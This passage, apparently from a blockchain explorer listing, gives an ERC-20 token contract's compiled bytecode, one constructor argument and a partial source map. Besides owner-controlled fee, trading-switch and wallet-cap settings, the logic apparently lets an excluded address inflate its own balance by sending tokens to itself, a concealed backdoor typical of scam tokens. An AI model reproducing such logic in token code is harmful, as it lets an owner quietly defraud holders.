03841660009081526006602052604090205460ff165b610f1757610f12858585611109565b610f19565b825b601054909150600160a01b900460ff168015610f4e57506001600160a01b03841660009081526007602052604090205460ff16155b8015610f6857506000546001600160a01b03858116911614155b15610fa457600c54610f9982610f93876001600160a01b031660009081526004602052604090205490565b906110aa565b1115610fa457600080fd5b6001600160a01b038416600090815260046020526040902054610fc790826110aa565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101b9085815260200190565b60405180910390a3506001949350505050565b600081848411156110525760405162461bcd60e51b81526004016107b19190611455565b50600061105f8486611666565b95945050505050565b600061078083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102e565b6000806110b78385611679565b9050838110156107805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107b1565b6001600160a01b038316600090815260076020526040812054819060ff16156111535761114c60646111466008548661136890919063ffffffff16565b906113ea565b9050611191565b6001600160a01b03841660009081526007602052604090205460ff16156111915761118e60646111466009548661136890919063ffffffff16565b90505b836001600160a01b0316856001600160a01b03161480156111ca57506001600160a01b03851660009081526006602052604090205460ff165b80156111df57506001600160a01b0385163014155b1561123857600e546111f2908490611368565b6001600160a01b038616600090815260046020526040902054909150611219908290611679565b6001600160a01b03861660009081526004602052604081209190915590505b801561135e576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526004602052604090205461128190826110aa565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526004602090815260409182902092909255518281527f57062e7b32439d519dac7dc305789d854ff08a3b14878d3f76614e40e994826c910160405180910390a17f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161135591815260200190565b60405180910390a35b61105f8382611068565b60008260000361137a57506000610716565b6000611386838561168c565b90508261139385836116ab565b146107805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107b1565b600061078083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836114485760405162461bcd60e51b81526004016107b19190611455565b50600061105f84866116ab565b600060208083528351808285015260005b8181101561148257858101830151858201604001528201611466565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146114ba57600080fd5b919050565b600080604083850312156114d257600080fd5b6114db836114a3565b946020939093013593505050565b6000806000606084860312156114fe57600080fd5b611507846114a3565b9250611515602085016114a3565b9150604084013590509250925092565b803580151581146114ba57600080fd5b60006020828403121561154757600080fd5b61078082611525565b60006020828403121561156257600080fd5b610780826114a3565b60006020828403121561157d57600080fd5b5035919050565b6000806040838503121561159757600080fd5b6115a0836114a3565b91506115ae60208401611525565b90509250929050565b600080604083850312156115ca57600080fd5b6115d3836114a3565b91506115ae602084016114a3565b600181811c908216806115f557607f821691505b60208210810361161557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561071657610716611650565b8082018082111561071657610716611650565b60008160001904831182151516156116a6576116a6611650565b500290565b6000826116c857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ca8664447c6f10dd9c585e9ea948646a6d2936d3090341810fc7a1b98ac3e71864736f6c63430008100033000000000000000000000000000000000000000000000000000000000026c1e0

Deployed Bytecode

0x6080604052600436106101e75760003560e01c806370a0823111610102578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e146105cc578063f1d5f51714610612578063f2fde38b14610632578063f872858a1461065257600080fd5b8063a9059cbb14610561578063c816841b14610581578063c9567bf9146105a1578063ca9ec199146105b657600080fd5b80638da5cb5b116100d15780638da5cb5b146104ee57806395d89b411461050c578063a3ca847d14610521578063a457c2d71461054157600080fd5b806370a082311461046d578063715018a6146104a3578063807c2d9c146104b8578063844d591c146104ce57600080fd5b8063313ce5671161017a57806342a110951161014957806342a11095146103f45780635342acb41461040a5780635453184e1461043a578063557ed1ba1461045a57600080fd5b8063313ce5671461034e57806339509351146103705780633eaaf86b146103905780633ecad271146103c457600080fd5b806323b872dd116101b657806323b872dd146102c35780632563ae83146102e357806327c8f835146103055780632b112e491461033957600080fd5b806306fdde03146101f3578063095ea7b31461021e5780631694505e1461024e57806318160ddd1461028657600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610673565b6040516102159190611455565b60405180910390f35b34801561022a57600080fd5b5061023e6102393660046114bf565b610705565b6040519015158152602001610215565b34801561025a57600080fd5b50600f5461026e906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b34801561029257600080fd5b507f0000000000000000000000000000000000000000000000000de0b6b3a76400005b604051908152602001610215565b3480156102cf57600080fd5b5061023e6102de3660046114e9565b61071c565b3480156102ef57600080fd5b506103036102fe366004611535565b610787565b005b34801561031157600080fd5b5061026e7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561034557600080fd5b506102b56107d8565b34801561035a57600080fd5b5060035460405160ff9091168152602001610215565b34801561037c57600080fd5b5061023e61038b3660046114bf565b610841565b34801561039c57600080fd5b506102b57f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b3480156103d057600080fd5b5061023e6103df366004611550565b60076020526000908152604090205460ff1681565b34801561040057600080fd5b506102b560085481565b34801561041657600080fd5b5061023e610425366004611550565b60066020526000908152604090205460ff1681565b34801561044657600080fd5b5061030361045536600461156b565b610877565b34801561046657600080fd5b50426102b5565b34801561047957600080fd5b506102b5610488366004611550565b6001600160a01b031660009081526004602052604090205490565b3480156104af57600080fd5b506103036108a6565b3480156104c457600080fd5b506102b5600c5481565b3480156104da57600080fd5b506103036104e9366004611584565b610920565b3480156104fa57600080fd5b506000546001600160a01b031661026e565b34801561051857600080fd5b50610208610975565b34801561052d57600080fd5b5061030361053c36600461156b565b610984565b34801561054d57600080fd5b5061023e61055c3660046114bf565b6109b3565b34801561056d57600080fd5b5061023e61057c3660046114bf565b610a02565b34801561058d57600080fd5b5060105461026e906001600160a01b031681565b3480156105ad57600080fd5b50610303610a0f565b3480156105c257600080fd5b506102b560095481565b3480156105d857600080fd5b506102b56105e73660046115b7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561061e57600080fd5b5061030361062d36600461156b565b610a48565b34801561063e57600080fd5b5061030361064d366004611550565b610a77565b34801561065e57600080fd5b5060105461023e90600160a01b900460ff1681565b6060600a8054610682906115e1565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae906115e1565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610b61565b5060015b92915050565b6000610729848484610c85565b5061077c8433610777856040518060600160405280602881526020016116ce602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061102e565b610b61565b5060015b9392505050565b6000546001600160a01b031633146107ba5760405162461bcd60e51b81526004016107b19061161b565b60405180910390fd5b60108054911515600160a01b0260ff60a01b19909216919091179055565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526004602052604081205461083c907f0000000000000000000000000000000000000000000000000de0b6b3a764000090611068565b905090565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161071291859061077790866110aa565b6000546001600160a01b031633146108a15760405162461bcd60e51b81526004016107b19061161b565b600955565b6000546001600160a01b031633146108d05760405162461bcd60e51b81526004016107b19061161b565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016107b19061161b565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6060600b8054610682906115e1565b6000546001600160a01b031633146109ae5760405162461bcd60e51b81526004016107b19061161b565b600855565b60006107123384610777856040518060600160405280602581526020016116f6602591393360009081526005602090815260408083206001600160a01b038d168452909152902054919061102e565b600061077c338484610c85565b6000546001600160a01b03163314610a395760405162461bcd60e51b81526004016107b19061161b565b600d805460ff19166001179055565b6000546001600160a01b03163314610a725760405162461bcd60e51b81526004016107b19061161b565b600c55565b6000546001600160a01b03163314610aa15760405162461bcd60e51b81526004016107b19061161b565b6001600160a01b038116610b065760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b1565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b1565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526007602052604081205460ff16158015610cbc57506000546001600160a01b03858116911614155b8015610ce157506001600160a01b03841660009081526006602052604090205460ff16155b15610d3657600d5460ff161515600003610d365760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107b1565b6001600160a01b038416610d9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b1565b6001600160a01b038316610dfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b1565b826001600160a01b0316846001600160a01b0316148015610e3557506001600160a01b03841660009081526006602052604090205460ff165b8015610e4a57506001600160a01b0384163014155b15610e6457610e5a848484611109565b5060019050610780565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260049091529190912054610eb691849061102e565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff1680610f0357506001600160a01b03841660009081526006602052604090205460ff165b610f1757610f12858585611109565b610f19565b825b601054909150600160a01b900460ff168015610f4e57506001600160a01b03841660009081526007602052604090205460ff16155b8015610f6857506000546001600160a01b03858116911614155b15610fa457600c54610f9982610f93876001600160a01b031660009081526004602052604090205490565b906110aa565b1115610fa457600080fd5b6001600160a01b038416600090815260046020526040902054610fc790826110aa565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101b9085815260200190565b60405180910390a3506001949350505050565b600081848411156110525760405162461bcd60e51b81526004016107b19190611455565b50600061105f8486611666565b95945050505050565b600061078083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102e565b6000806110b78385611679565b9050838110156107805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107b1565b6001600160a01b038316600090815260076020526040812054819060ff16156111535761114c60646111466008548661136890919063ffffffff16565b906113ea565b9050611191565b6001600160a01b03841660009081526007602052604090205460ff16156111915761118e60646111466009548661136890919063ffffffff16565b90505b836001600160a01b0316856001600160a01b03161480156111ca57506001600160a01b03851660009081526006602052604090205460ff165b80156111df57506001600160a01b0385163014155b1561123857600e546111f2908490611368565b6001600160a01b038616600090815260046020526040902054909150611219908290611679565b6001600160a01b03861660009081526004602052604081209190915590505b801561135e576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526004602052604090205461128190826110aa565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526004602090815260409182902092909255518281527f57062e7b32439d519dac7dc305789d854ff08a3b14878d3f76614e40e994826c910160405180910390a17f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161135591815260200190565b60405180910390a35b61105f8382611068565b60008260000361137a57506000610716565b6000611386838561168c565b90508261139385836116ab565b146107805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107b1565b600061078083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836114485760405162461bcd60e51b81526004016107b19190611455565b50600061105f84866116ab565b600060208083528351808285015260005b8181101561148257858101830151858201604001528201611466565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146114ba57600080fd5b919050565b600080604083850312156114d257600080fd5b6114db836114a3565b946020939093013593505050565b6000806000606084860312156114fe57600080fd5b611507846114a3565b9250611515602085016114a3565b9150604084013590509250925092565b803580151581146114ba57600080fd5b60006020828403121561154757600080fd5b61078082611525565b60006020828403121561156257600080fd5b610780826114a3565b60006020828403121561157d57600080fd5b5035919050565b6000806040838503121561159757600080fd5b6115a0836114a3565b91506115ae60208401611525565b90509250929050565b600080604083850312156115ca57600080fd5b6115d3836114a3565b91506115ae602084016114a3565b600181811c908216806115f557607f821691505b60208210810361161557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561071657610716611650565b8082018082111561071657610716611650565b60008160001904831182151516156116a6576116a6611650565b500290565b6000826116c857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ca8664447c6f10dd9c585e9ea948646a6d2936d3090341810fc7a1b98ac3e71864736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000026c1e0

-----Decoded View---------------
Arg [0] : addBlock (uint256): 2540000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000000000000000000000026c1e0


Deployed Bytecode Sourcemap

11526:7317:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13240:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14417:161;;;;;;;;;;-1:-1:-1;14417:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;14417:161:0;1004:187:1;12349:41:0;;;;;;;;;;-1:-1:-1;12349:41:0;;;;-1:-1:-1;;;;;12349:41:0;;;;;;-1:-1:-1;;;;;1387:32:1;;;1369:51;;1357:2;1342:18;12349:41:0;1196:230:1;13517:100:0;;;;;;;;;;-1:-1:-1;13597:12:0;13517:100;;;1577:25:1;;;1565:2;1550:18;13517:100:0;1431:177:1;15947:313:0;;;;;;;;;;-1:-1:-1;15947:313:0;;;;;:::i;:::-;;:::i;15356:113::-;;;;;;;;;;-1:-1:-1;15356:113:0;;;;;:::i;:::-;;:::i;:::-;;11660:81;;;;;;;;;;;;;;;15599:128;;;;;;;;;;;;;:::i;13426:83::-;;;;;;;;;;-1:-1:-1;13492:9:0;;13426:83;;13492:9;;;;2646:36:1;;2634:2;2619:18;13426:83:0;2504:184:1;13914:218:0;;;;;;;;;;-1:-1:-1;13914:218:0;;;;;:::i;:::-;;:::i;12158:64::-;;;;;;;;;;;;;;;11937:45;;;;;;;;;;-1:-1:-1;11937:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11989:26;;;;;;;;;;;;;;;;11880:50;;;;;;;;;;-1:-1:-1;11880:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15248:90;;;;;;;;;;-1:-1:-1;15248:90:0;;;;;:::i;:::-;;:::i;3595:::-;;;;;;;;;;-1:-1:-1;3662:15:0;3595:90;;13625:130;;;;;;;;;;-1:-1:-1;13625:130:0;;;;;:::i;:::-;-1:-1:-1;;;;;13718:29:0;13691:7;13718:29;;;:20;:29;;;;;;;13625:130;3095:230;;;;;;;;;;;;;:::i;12229:50::-;;;;;;;;;;;;;;;;15012:129;;;;;;;;;;-1:-1:-1;15012:129:0;;;;;:::i;:::-;;:::i;2870:79::-;;;;;;;;;;-1:-1:-1;2908:7:0;2935:6;-1:-1:-1;;;;;2935:6:0;2870:79;;13331:87;;;;;;;;;;;;;:::i;15151:89::-;;;;;;;;;;-1:-1:-1;15151:89:0;;;;;:::i;:::-;;:::i;14140:269::-;;;;;;;;;;-1:-1:-1;14140:269:0;;;;;:::i;:::-;;:::i;15772:167::-;;;;;;;;;;-1:-1:-1;15772:167:0;;;;;:::i;:::-;;:::i;12397:26::-;;;;;;;;;;-1:-1:-1;12397:26:0;;;;-1:-1:-1;;;;;12397:26:0;;;14586:73;;;;;;;;;;;;;:::i;12022:27::-;;;;;;;;;;;;;;;;13763:143;;;;;;;;;;-1:-1:-1;13763:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13871:18:0;;;13844:7;13871:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13763:143;15479:108;;;;;;;;;;-1:-1:-1;15479:108:0;;;;;:::i;:::-;;:::i;3339:244::-;;;;;;;;;;-1:-1:-1;3339:244:0;;;;;:::i;:::-;;:::i;12436:36::-;;;;;;;;;;-1:-1:-1;12436:36:0;;;;-1:-1:-1;;;12436:36:0;;;;;;13240:83;13277:13;13310:5;13303:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13240:83;:::o;14417:161::-;14492:4;14509:39;195:10;14532:7;14541:6;14509:8;:39::i;:::-;-1:-1:-1;14566:4:0;14417:161;;;;;:::o;15947:313::-;16045:4;16062:36;16072:6;16080:9;16091:6;16062:9;:36::i;:::-;-1:-1:-1;16109:121:0;16118:6;195:10;16140:89;16178:6;16140:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16140:19:0;;;;;;:11;:19;;;;;;;;195:10;16140:33;;;;;;;;;;:37;:89::i;:::-;16109:8;:121::i;:::-;-1:-1:-1;16248:4:0;15947:313;;;;;;:::o;15356:113::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;;;;;;;;;15434:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;15434:27:0::1;-1:-1:-1::0;;;;15434:27:0;;::::1;::::0;;;::::1;::::0;;15356:113::o;15599:128::-;-1:-1:-1;;;;;15706:11:0;13718:29;15652:7;13718:29;;;:20;:29;;;;;;15679:40;;:12;;:16;:40::i;:::-;15672:47;;15599:128;:::o;13914:218::-;195:10;14002:4;14051:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14051:34:0;;;;;;;;;;14002:4;;14019:83;;14042:7;;14051:50;;14090:10;14051:38;:50::i;15248:90::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;15316:8:::1;:14:::0;15248:90::o;3095:230::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;3186:6:::1;::::0;;3165:81:::1;::::0;3202:42:::1;::::0;-1:-1:-1;;;;;3186:6:0;;::::1;::::0;3165:81:::1;::::0;::::1;3257:6;:60:::0;;-1:-1:-1;;;;;;3257:60:0::1;3274:42;3257:60;::::0;;3095:230::o;15012:129::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15101:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;15101:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15012:129::o;13331:87::-;13370:13;13403:7;13396:14;;;;;:::i;15151:89::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;15219:7:::1;:13:::0;15151:89::o;14140:269::-;14233:4;14250:129;195:10;14273:7;14282:96;14321:15;14282:96;;;;;;;;;;;;;;;;;195:10;14282:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14282:34:0;;;;;;;;;;;;:38;:96::i;15772:167::-;15850:4;15867:42;195:10;15891:9;15902:6;15867:9;:42::i;14586:73::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;14637:9:::1;:14:::0;;-1:-1:-1;;14637:14:0::1;14647:4;14637:14;::::0;;14586:73::o;15479:108::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;15551:10:::1;:22:::0;15479:108::o;3339:244::-;3004:6;;-1:-1:-1;;;;;3004:6:0;195:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3428:22:0;::::1;3420:73;;;::::0;-1:-1:-1;;;3420:73:0;;4541:2:1;3420:73:0::1;::::0;::::1;4523:21:1::0;4580:2;4560:18;;;4553:30;4619:34;4599:18;;;4592:62;-1:-1:-1;;;4670:18:1;;;4663:36;4716:19;;3420:73:0::1;4339:402:1::0;3420:73:0::1;3530:6;::::0;;3509:38:::1;::::0;-1:-1:-1;;;;;3509:38:0;;::::1;::::0;3530:6;::::1;::::0;3509:38:::1;::::0;::::1;3558:6;:17:::0;;-1:-1:-1;;;;;;3558:17:0::1;-1:-1:-1::0;;;;;3558:17:0;;;::::1;::::0;;;::::1;::::0;;3339:244::o;14667:337::-;-1:-1:-1;;;;;14760:19:0;;14752:68;;;;-1:-1:-1;;;14752:68:0;;4948:2:1;14752:68:0;;;4930:21:1;4987:2;4967:18;;;4960:30;5026:34;5006:18;;;4999:62;-1:-1:-1;;;5077:18:1;;;5070:34;5121:19;;14752:68:0;4746:400:1;14752:68:0;-1:-1:-1;;;;;14839:21:0;;14831:68;;;;-1:-1:-1;;;14831:68:0;;5353:2:1;14831:68:0;;;5335:21:1;5392:2;5372:18;;;5365:30;5431:34;5411:18;;;5404:62;-1:-1:-1;;;5482:18:1;;;5475:32;5524:19;;14831:68:0;5151:398:1;14831:68:0;-1:-1:-1;;;;;14912:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14964:32;;1577:25:1;;;14964:32:0;;1550:18:1;14964:32:0;;;;;;;14667:337;;;:::o;16270:1226::-;-1:-1:-1;;;;;16379:23:0;;16357:4;16379:23;;;:12;:23;;;;;;;;16378:24;:45;;;;-1:-1:-1;2908:7:0;2935:6;-1:-1:-1;;;;;16406:17:0;;;2935:6;;16406:17;;16378:45;:75;;;;-1:-1:-1;;;;;;16428:25:0;;;;;;:17;:25;;;;;;;;16427:26;16378:75;16374:148;;;16477:9;;;;:18;;:9;:18;16469:53;;;;-1:-1:-1;;;16469:53:0;;5756:2:1;16469:53:0;;;5738:21:1;5795:2;5775:18;;;5768:30;-1:-1:-1;;;5814:18:1;;;5807:52;5876:18;;16469:53:0;5554:346:1;16469:53:0;-1:-1:-1;;;;;16546:20:0;;16538:70;;;;-1:-1:-1;;;16538:70:0;;6107:2:1;16538:70:0;;;6089:21:1;6146:2;6126:18;;;6119:30;6185:34;6165:18;;;6158:62;-1:-1:-1;;;6236:18:1;;;6229:35;6281:19;;16538:70:0;5905:401:1;16538:70:0;-1:-1:-1;;;;;16627:23:0;;16619:71;;;;-1:-1:-1;;;16619:71:0;;6513:2:1;16619:71:0;;;6495:21:1;6552:2;6532:18;;;6525:30;6591:34;6571:18;;;6564:62;-1:-1:-1;;;6642:18:1;;;6635:33;6685:19;;16619:71:0;6311:399:1;16619:71:0;16716:9;-1:-1:-1;;;;;16706:19:0;:6;-1:-1:-1;;;;;16706:19:0;;:48;;;;-1:-1:-1;;;;;;16729:25:0;;;;;;:17;:25;;;;;;;;16706:48;:75;;;;-1:-1:-1;;;;;;16758:23:0;;16776:4;16758:23;;16706:75;16703:164;;;16797:32;16805:6;16812:9;16822:6;16797:7;:32::i;:::-;;16851:4;16844:11;;;;16703:164;16910:64;;;;;;;;;;;-1:-1:-1;;;16910:64:0;;;;;;;;-1:-1:-1;;;;;16910:28:0;;-1:-1:-1;16910:28:0;;;:20;:28;;;;;;;;:64;;16943:6;;16910:32;:64::i;:::-;-1:-1:-1;;;;;16879:28:0;;;;;;:20;:28;;;;;;;;:95;;;;17010:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;17039:28:0;;;;;;:17;:28;;;;;;;;17010:57;17009:147;;17122:34;17130:6;17138:9;17149:6;17122:7;:34::i;:::-;17009:147;;;17113:6;17009:147;17172:16;;16987:169;;-1:-1:-1;;;;17172:16:0;;;;:44;;;;-1:-1:-1;;;;;;17193:23:0;;;;;;:12;:23;;;;;;;;17192:24;17172:44;:68;;;;-1:-1:-1;2908:7:0;2935:6;-1:-1:-1;;;;;17220:20:0;;;2935:6;;17220:20;;17172:68;17169:146;;;17304:10;;17263:37;17288:11;17263:20;17273:9;-1:-1:-1;;;;;13718:29:0;13691:7;13718:29;;;:20;:29;;;;;;;13625:130;17263:20;:24;;:37::i;:::-;:51;;17255:60;;;;;;-1:-1:-1;;;;;17362:31:0;;;;;;:20;:31;;;;;;:48;;17398:11;17362:35;:48::i;:::-;-1:-1:-1;;;;;17328:31:0;;;;;;;:20;:31;;;;;;;:82;;;;17426:40;;;;;;;;;;17454:11;1577:25:1;;1565:2;1550:18;;1431:177;17426:40:0;;;;;;;;-1:-1:-1;17484:4:0;;16270:1226;-1:-1:-1;;;;16270:1226:0:o;1381:192::-;1467:7;1503:12;1495:6;;;;1487:29;;;;-1:-1:-1;;;1487:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1527:9:0;1539:5;1543:1;1539;:5;:::i;:::-;1527:17;1381:192;-1:-1:-1;;;;;1381:192:0:o;1237:136::-;1295:7;1322:43;1326:1;1329;1322:43;;;;;;;;;;;;;;;;;:3;:43::i;1048:181::-;1106:7;;1138:5;1142:1;1138;:5;:::i;:::-;1126:17;;1167:1;1162;:6;;1154:46;;;;-1:-1:-1;;;1154:46:0;;7312:2:1;1154:46:0;;;7294:21:1;7351:2;7331:18;;;7324:30;7390:29;7370:18;;;7363:57;7437:18;;1154:46:0;7110:351:1;17890:946:0;-1:-1:-1;;;;;18051:20:0;;17976:7;18051:20;;;:12;:20;;;;;;17976:7;;18051:20;;18048:204;;;18100:28;18124:3;18100:19;18111:7;;18100:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;18088:40;;18048:204;;;-1:-1:-1;;;;;18159:23:0;;;;;;:12;:23;;;;;;;;18156:96;;;18211:29;18236:3;18211:20;18222:8;;18211:6;:10;;:20;;;;:::i;:29::-;18199:41;;18156:96;18277:9;-1:-1:-1;;;;;18267:19:0;:6;-1:-1:-1;;;;;18267:19:0;;:48;;;;-1:-1:-1;;;;;;18290:25:0;;;;;;:17;:25;;;;;;;;18267:48;:75;;;;-1:-1:-1;;;;;;18319:23:0;;18337:4;18319:23;;18267:75;18264:250;;;18381:10;;18370:22;;:6;;:10;:22::i;:::-;-1:-1:-1;;;;;18438:28:0;;;;;;:20;:28;;;;;;18358:34;;-1:-1:-1;18438:38:0;;18358:34;;18438:38;:::i;:::-;-1:-1:-1;;;;;18407:28:0;;;;;;:20;:28;;;;;:69;;;;:28;-1:-1:-1;18264:250:0;18537:13;;18534:254;;-1:-1:-1;;;;;18641:11:0;18612:42;;;;;:20;:42;;;;;;:57;;18659:9;18612:46;:57::i;:::-;18596:11;-1:-1:-1;;;;;18567:42:0;;;;;:20;:42;;;;;;;;;:102;;;;18689:18;1577:25:1;;;18689:18:0;;1550::1;18689::0;;;;;;;18752:11;-1:-1:-1;;;;;18727:49:0;18736:6;-1:-1:-1;;;;;18727:49:0;;18766:9;18727:49;;;;1577:25:1;;1565:2;1550:18;;1431:177;18727:49:0;;;;;;;;18534:254;18807:21;:6;18818:9;18807:10;:21::i;1581:250::-;1639:7;1663:1;1668;1663:6;1659:47;;-1:-1:-1;1693:1:0;1686:8;;1659:47;1718:9;1730:5;1734:1;1730;:5;:::i;:::-;1718:17;-1:-1:-1;1763:1:0;1754:5;1758:1;1718:17;1754:5;:::i;:::-;:10;1746:56;;;;-1:-1:-1;;;1746:56:0;;8063:2:1;1746:56:0;;;8045:21:1;8102:2;8082:18;;;8075:30;8141:34;8121:18;;;8114:62;-1:-1:-1;;;8192:18:1;;;8185:31;8233:19;;1746:56:0;7861:397:1;1839:132:0;1897:7;1924:39;1928:1;1931;1924:39;;;;;;;;;;;;;;;;;2065:7;2100:1